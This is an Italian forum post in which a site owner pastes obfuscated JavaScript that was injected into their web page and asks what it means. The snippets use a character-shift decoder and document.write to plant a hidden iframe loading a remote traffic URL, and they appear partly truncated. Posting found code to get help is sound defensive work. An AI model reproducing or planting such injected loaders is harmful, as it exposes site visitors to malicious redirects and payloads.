codice:
<script language=javascript>document.write(unescape('<script language="javascript">functionXXX dF(q){
var q1=unescape(q.substr(0,q.length-1)); 
vart='';
for(i=0;i<q1.length;i++)t+=String.fromCharCode(q1.charCodeAt(i)-q.substr(q.length-1,1));
document.write(unescape(t));}</script>'));
dF('&4Djgsbnf&31tsd&4E&38iuuq&4B00usbg/to.ofu/jogp0pvu/qiq&4Gt`je&4E2&38&31gsbnfcpsefs&4E1

<script language=javascript>document.write(unescape('<script language="javascript">functionXXX dF(q){

var t='';
for(i=0;i<q1.length;i++)t+=String.fromCharCode(q1.charCodeAt(i)-q.substr(q.length-1,1));
document.write(unescape(t));}</script>'));
dF('-;Kqnzium-:8{zk-;L-::p||x-;I77|zin6{v5vm|6qvnw7w}|6xpx-;N{gql-;L9-::-:8nziumjwzlmz-;L-:

questo script mi è stato incluso in una pagina web da remoto. Non mi chiedo come hanno fatto, ci metterei troppo tempo...

vorrei sapere però il significato dello script
